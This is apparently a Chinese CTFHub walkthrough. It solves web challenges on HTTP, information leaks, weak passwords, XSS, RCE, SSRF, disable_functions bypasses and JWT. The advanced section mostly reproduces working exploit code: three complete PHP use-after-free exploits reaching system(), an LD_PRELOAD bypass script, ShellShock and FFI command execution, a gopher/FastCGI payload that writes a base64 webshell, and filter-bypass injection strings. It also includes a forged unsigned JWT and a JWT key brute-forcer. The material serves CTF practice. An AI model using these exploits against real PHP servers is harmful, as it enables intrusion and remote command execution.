CTFHUB技能树(全详细解析含进阶)
CTFHUB技能树
- HTTP协议
- 请求树
- 302跳转
- Cookie
- 基础认证
- 响应包源代码
- 信息泄露
- 目录遍历
- phpinfo
- 备份文件下载
- 网站源码
- bak文件
- vim缓存
- .DS_Store
- Git泄露
- log
- stash
- index
- SVN泄露
- HG泄露
- 密码口令
- 弱口令
- 默认口令
- XSS
- 反射型
- RCE
- eval执行
- 文件包含
- php://input
- 读取源代码
- 远程包含
- 命令注入
- 过滤cat
- 过滤空格
- 过滤目录分隔符
- 过滤运算符
- 综合过滤
- 文件上传
- ssrf
- 内网访问
- 伪协议读取文件
- 端口扫描
- POST请求
- 上传文件
- FASTCGI协议
- Redis协议
- URLbypass
- 数字IP bypass
- 302跳转 bypass
- DNS重绑定 bypass
- WEB进阶
- Bypass disable_function
- LD_PRELOAD
- 方法2 现成的so(这个是免杀得哟)
- ShellShock
- Apache Mod CGI
- PHP-FPM
- GC UAF
- Json Serializer UAF
- Backtrace UAF
- FFI扩展
- JSON Web Token
- 敏感信息泄露
- 无签名
- 弱密钥
- 修改签名算法
- linux
- 动态加载器
HTTP协议
请求树
根据提示直接修改头即可
302跳转
直接重放获得302跳转,
Cookie
字面意思,
基础认证
简介:
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
附件提供了密码,很明显就是爆破
有了用户名,而且发现一个base加密的东西
解密看看
固定格式啊,
那么我们将密码本修改了
直接开跑
很nice一个都跑不出来
终于出来了,!!!!
== 重点,base的结果不能存在等于号==
响应包源代码
噢!抓包抓不到,他是一个纯前端
信息泄露
目录遍历
开始一通乱找
phpinfo
字面意思
备份文件下载
网站源码
import requestsurl = "http://challenge-b1d2b3af19e2c1e7.sandbox.ctfhub.com:10080/"li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:for j in li2:url_final = url + "/" + i + "." + jr = requests.get(url_final)print(str(r)+"+"+url_final)
众所周知,备份文件备份的都是文件,那么我们直接访问一下txt文件
bak文件
因为提示在bak文件中,那么我们直接访问bak文件
得到
vim缓存
swp文件:
非正常关闭vim就会生成swp文件
因为是隐藏文件,记得加点
修改了名字
我们vim index.php
点击修复即可
.DS_Store
访问.Ds_Store就能下载文件
放入linux 中,直接读取
访问即可
Git泄露
log
我们使用githack
在那个新建的目录下,git log
查看git的历史记录
我门所在的是remove flag
但是我们需要回到add flag
直接git diff
stash
基本同上
index
基本同上
SVN泄露
使用工具进行添加
当然这个不好使
推荐下面这个
https://github.com/kost/dvcs-ripper
进行回复,ctrl+H显示隐藏文件夹
使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份
HG泄露
我们同样使用上面那个工具
执行命令
在当前文件夹下,搜索带有flag字符串的(包括文件内)
发现flag文件,那么对应服务器打开
密码口令
弱口令
掏出珍藏的top100
emm还没跑,就有了
123456
默认口令
打开是一个亿邮,我们百度,初始密码
最后这个成功了,
XSS
反射型
在这里输入,他会在下面显示
我们使用xss平台
去访问这个连接,就有了
RCE
eval执行
啊这熟悉的php代码审计!
当场 whoami
file_put_contents写入文件试试
可以解析,写一句话木马
噢,这个马有点问题= =
我们还是读文件吧
记得是绝对路径哟
文件包含
他还送了个一句话
将一句话包含在这个php文件中就行了呀
我们来看一下,file get参数不为空,字符串中没有flag,
即可包含文件
包含后直接连接
php://input
噢~他不送我们shell了
0到6字符串强等于php://才能文件包含
读文件试一下,发现可以
直接一波读文件
php://input
相当于他去接收post的值,那么常规思路即可
读取源代码
提示,flag在/flag中,那么我们代码审计一波
好像跟之前的没啥区别
php://直接读文件
远程包含
我们可以看到他的远程包含开启了
他限定,get中没有flag,不能为空
那么我们远程包含自己服务器上面的一个木马即可
当然直接包含百度是可以的
我们在服务器上面写一个文件
然后直接进行远程包含
直接包含
命令注入
ping 一下本地试试
一个|
即可
ls 发现文件
cat直接读取
过滤cat
我们使用tac即可
过滤空格
ls发现文件
这么多都可以
过滤目录分隔符
ls -al 怀疑他是一个目录
使用分号进行堆叠
过滤运算符
过滤了且运算,或运算,但是分号仍然可以使用
直接读取
综合过滤
首先代码审计一波
get的ip值不能为空,并且赋值给$ip
匹配一堆运算,匹配了cat flag ctfhub等关键字
(| & ;还有空格)
那么,找到之前的笔记,RCE的绕过
命令分隔符
linux中:
-%0a(回车) %0d(换行)
-;
-&
-|
-&&
-||
windows中:
-%0a
-&
-|
-%1a(作为.bat文件中的命令分隔符)
这个题目的绕过的话,可以考虑16进制或者拼接,
或者两个单引号,两个双引号
127.0.0.1%0acd${IFS}fl''ag_is_here%0aca''t${IFS}*#
127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}*#
$* 猜测为空,所以可行
任何没定义的都算空,(就不输出)
文件上传
见之前的博客
ssrf
整个知识点,在之前写的,ssrflab中有讲解
内网访问
直接打开访问即可
伪协议读取文件
访问百度是可行的
直接上伪协议
file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)
端口扫描
提示,端口8000-9000
端口扫描一般使用dict://
抓包修改即可
改成数字
找到8460端口,访问数据不同,然后我们换成http
即可
POST请求
我们访问flag.php 会给我们一个上传框,同时给了我们key
它提示的302不能访问呀
看到上一个框框,form post 带着key 访问呢
直接访问,flag.php 是提醒我们从内网才可以
带着key试试
噢!不能访问
nice
我们从新回去,找一下有几个页面
index.php flag.php
从内部访问,我们需要使用gopher 协议,去帮我们提交带key的请求
查看一下源码
gopher包需要精心构造才可以
Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。
这里是找的大佬的payload生成
注意 content-length一定要和key一样
import urllib.parsepayload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=7a63523334ee824db18990ffc181d204
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
当然 burp本身已经算出来了
上传文件
直奔主题,直接访问,查看到需要上传文件
查看一下源码
我们把它的提交按钮给他补上
当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中
FASTCGI协议
他的提示文章在这里
https://blog.csdn.net/mysteryflower/article/details/94386461
我们使用gopherus工具
利用条件:libcurl版本>=7.45.0PHP-FPM监听端口PHP-FPM版本 >= 5.3.3知道服务器上任意一个php文件的绝对路径`
用来写shell
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php`
需要将生成的进行一次编码,因为get本身进行一次url解码
Redis协议
攻击redis的方式很多,见之前的讲解,
写入ssh公钥、读文件、写文件、反弹shell。很多,
我们还是使用上面的工具
我们先来phpshell
这个我们不需要进行编码
URLbypass
我们使用xip.io发现被ban了
发现成功读取
之前的博客中有讲解
数字IP bypass
ban了 十进制,我们可以十六进制,八进制呀
二进制
同样在之前的文章中有讲解
302跳转 bypass
我们发现,不能进行http的访问
但是127.0.0.1的可以访问
说明后端逻辑是
如果访问为带有http时,不允许
如果没有则跳转到该字符串,
我访问自己的服务器,发现可以
,验证了如上说法
DNS重绑定 bypass
验证工具
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=
我们在这里,将两个ip解析到一个url上面
,当我们使用这个url的时候,就有概率访问到127.0.0.1 从而绕开IP的限制
(或者说,绕开,限定的ip)
一直点,总有一次会解析到127.0.0.1
WEB进阶
Bypass disable_function
LD_PRELOAD
预加载绕过,我们可以使用蚁剑插件,或者网上的so文件,
打开
我们先连接蚁剑
执行命令发现是不可以的,因为有限制
使用插件绕过
生成了这个文件
我们连接他
即可rce
cat权限不够,我们试试tac 当然如果不行的话,我们还可以尝试more之类的读取命令
方法2 现成的so(这个是免杀得哟)
<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_GET["cmd"];$out_path = $_GET["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_GET["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>
需要配合 so文件,首先全部上传
emm,沙箱环境没有实现,但是之前是可以使用的。(不知道什么问题)
ShellShock
ShellShock,破壳漏洞,出现于2014年
可以通过以下命令来判断是否存在这个漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果出现vulnerable说明存在
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样
但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}‘后停止,也就是说定义在函数体外shell命令也会执行,所以env x=’() { :;}; echo vulnerable’ 输出了vulnerable。
如上是error函数,的用法
首先蚁剑连接,如果有时候连接不上,可以转换连接加密解密方式看看
意外收获,直接使用自带插件绕过即可rce 为什么需要用tac? 因为cat 所属的是www-data 没有权限去读取,有一部分的权限可能就仍然是bash的权限。
回归正题
正常被ban了无法进行命令执行
我们手工传入shell.php 和 test.php
进行加载环境变量
error_log和mail两个函数,都可以使用,(为了避免ban掉一个)
<?php@eval($_REQUEST['ant']);putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");error_log("admin",1);//mail("admin@localhost","","","","");
?>
然后我们访问shell.php
这时候已经生成了。
参考自这里
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2
Apache Mod CGI
进来以后我们首先,连shell
首先如果使用插件,很容易
该绕过的条件
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
这些就是他蚁剑写入的
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant
后缀的文件作为cgi脚本执行
PHP-FPM
预先知识
Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
它本身是在内网段的,通过nginx进行反向代理,才能进行通讯
连接一手
通讯地址我们选择本地的 (相当于他服务器的本地),
连接我们的代理php
直接命令行
GC UAF
exp出自这里
本篇之后就涉及到了溢出,由于本人资历尚浅,无法分析根源漏洞,只能使用蚁剑工具/现成exp进行推进。
利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3
<?php# Author: https://github.com/mm0r1pwn($_POST["pass"]);function pwn($cmd) {global $abc, $helper;function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}class ryat {var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}}class Helper {public $a, $b, $c, $d;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if you get segfaults$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_repeat('A', 79);$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out = unserialize($poc);gc_collect_cycles();$v = [];$v[0] = ptr2str(0, 79);unset($v);$abc = $out[2][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
Json Serializer UAF
利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
<?php# Author: https://github.com/mm0r1$cmd = $_POST["pass"];$n_alloc = 10; # increase this value if you get segfaultsclass MySplFixedArray extends SplFixedArray {public static $leak;
}class Z implements JsonSerializable {public function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}public function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}public function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}# unable to leak ro segmentspublic function leak1($addr) {global $spl1;$this->write($this->abc, 8, $addr - 0x10);return strlen(get_class($spl1));}# the real dealpublic function leak2($addr, $p = 0, $s = 8) {global $spl1, $fake_tbl_off;# fake reference zval$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)$leak = strlen($spl1::$leak);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}public function parse_elf($base) {$e_type = $this->leak2($base, 0x10, 2);$e_phoff = $this->leak2($base, 0x20);$e_phentsize = $this->leak2($base, 0x36, 2);$e_phnum = $this->leak2($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = $this->leak2($header, 0, 4);$p_flags = $this->leak2($header, 4, 4);$p_vaddr = $this->leak2($header, 0x10);$p_memsz = $this->leak2($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}public function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = $this->leak2($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = $this->leak2($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = $this->leak2($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = $this->leak2($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}public function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = $this->leak2($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}public function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = $this->leak2($addr);$f_name = $this->leak2($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn $this->leak2($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}public function jsonSerialize() {global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = new DateInterval('PT1S');$room = [];for($i = 0; $i < $n_alloc; $i++)$room[] = new Z();$_protector = $this->ptr2str(0, 78);$this->abc = $this->ptr2str(0, 79);$p = new DateInterval('PT1S');unset($y[0]);unset($p);$protector = ".$_protector";$x = new DateInterval('PT1S');$x->d = 0x2000;$x->h = 0xdeadbeef;# $this->abc is now of size 0x2000if($this->str2ptr($this->abc) != 0xdeadbeef) {die('UAF failed.');}$spl1 = new MySplFixedArray();$spl2 = new MySplFixedArray();# some leaks$class_entry = $this->str2ptr($this->abc, 0x120);$handlers = $this->str2ptr($this->abc, 0x128);$php_heap = $this->str2ptr($this->abc, 0x1a8);$abc_addr = $php_heap - 0x218;# create a fake class_entry$fake_obj = $abc_addr;$this->write($this->abc, 0, 2); # type$this->write($this->abc, 0x120, $abc_addr); # fake class_entry# copy some of class_entry definitionfor($i = 0; $i < 16; $i++) {$this->write($this->abc, 0x10 + $i * 8, $this->leak1($class_entry + 0x10 + $i * 8));}# fake static members table$fake_tbl_off = 0x70 * 4 - 16;$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);# fake zval_reference$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)# look for binary base$binary_leak = $this->leak2($handlers + 0x10);if(!($base = $this->get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}# parse elf headerif(!($elf = $this->parse_elf($base))) {die("Couldn't parse ELF");}# get basic_functions addressif(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}# find system entryif(!($zif_system = $this->get_system($basic_funcs))) {die("Couldn't get zif_system address");}# copy hashtable offsetGet bucket$fake_bkt_off = 0x70 * 5 - 16;$function_data = $this->str2ptr($this->abc, 0x50);for($i = 0; $i < 4; $i++) {$this->write($this->abc, $fake_bkt_off + $i * 8, $this->leak2($function_data + 0x40 * 4, $i * 8));}# create a fake bucket$fake_bkt_addr = $abc_addr + $fake_bkt_off;$this->write($this->abc, 0x50, $fake_bkt_addr);for($i = 0; $i < 3; $i++) {$this->write($this->abc, 0x58 + $i * 4, 1, 4);}# copy bucket zval$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);for($i = 0; $i < 12; $i++) {$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8, $this->leak2($function_zval, $i * 8));}# pwn$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);$spl1->offsetGet($cmd);exit();}
}$y = [new Z()];
json_encode([&$y]);
通过蚁剑或者PHP的file_put_contents写入之后,运行即可执行命令
Backtrace UAF
影响版本是7.0-7.4
<?php# Author: https://github.com/mm0r1pwn($_POST["pass"]);function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle(str_repeat('A', 79));$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle(str_repeat('A', 79));trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
FFI扩展
php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>
FFI::cdef用于说明函数的原型,然后把参数传进去。
JSON Web Token
敏感信息泄露
我们直接登录一手
JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
JWT 的结构 :
- 由三部分构成:
- Header.Payload.Signature
- 头部.负载.签名
JWT大概就是这种形式:
头部:eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.
签名:jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI
它是一个很长的字符串,中间用点 .
分隔成三个部分。
那么我们分开解密
无签名
我们登录的时候发现了这个
传值发现了这个
我们解码看看
第一部分
第二部分
结合我们刚刚提醒,需要admin才可以,我们将guets改为admin
同时
从题目提示可以知道:一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。
guest 改为admin 然后拼接
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiwicm9sZSI6ImFkbWluIn0.
弱密钥
很明显需要我们进行爆破
我们去github项目
这里
把他安装到linux 里面去
我们先放到
https://jwt.io/
这里在线解密一下
我们首先下载
按照教程进行编译
进行使用,这里我环境开了两次,所以我密钥可能不同了
好了,这次是新的
安装 jwt python的
#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertoolsdef test_HS256():key = "test"encoded = jwt.encode({"some": "payload"}, key, algorithm="HS256")print(encoded)try:# print(jwt.decode(encoded,"test",algorithms="HS256"))print(jwt.decode(encoded, "tes", algorithms="HS256"))except Exception as e:print(e)print("error")exit()def brute_HS256(encode):keys = string.ascii_lowercase# print(keys)for i in itertools.product(keys, repeat=4):key = "".join(i)print("[--]test ", key)try:print("[****]key:", key, jwt.decode(encode, key, algorithms="HS256"))breakexcept Exception as e:pass# print(key)if __name__ == '__main__':# test_HS256()encode = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"brute_HS256(encode)# print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))
改成自己的密钥
成功
修改签名算法
